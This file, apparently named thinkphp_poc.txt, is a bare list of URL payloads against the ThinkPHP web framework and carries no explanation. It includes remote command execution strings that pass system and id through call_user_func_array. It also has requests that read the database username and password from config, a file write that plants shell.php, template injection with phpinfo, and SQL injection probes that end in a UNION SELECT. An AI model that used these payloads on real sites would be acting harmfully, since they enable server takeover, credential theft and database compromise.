thinkphp_poc.txt

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
?s=.|think\config/get&name=database.username
?s=.|think\config/get&name=database.password
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=cmd
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
?s=index/\think\module/action/param1/${@phpinfo()}
?s=index/\think\Module/Action/Param/${@phpinfo()}
?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
?s=/home/article/view_recent/name/1' 
?s=/home/shopcart/getPricetotal/tag/1%27
?s=/home/shopcart/getpriceNum/id/1%27
?s=/home/user/cut/id/1%27
?s=/home/service/index/id/1%27
?s=/home/pay/chongzhi/orderid/1%27
?s=/home/pay/index/orderid/1%27
?s=/home/order/complete/id/1%27
?s=/home/order/complete/id/1%27
?s=/home/order/detail/id/1%27
?s=/home/order/cancel/id/1%27
?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+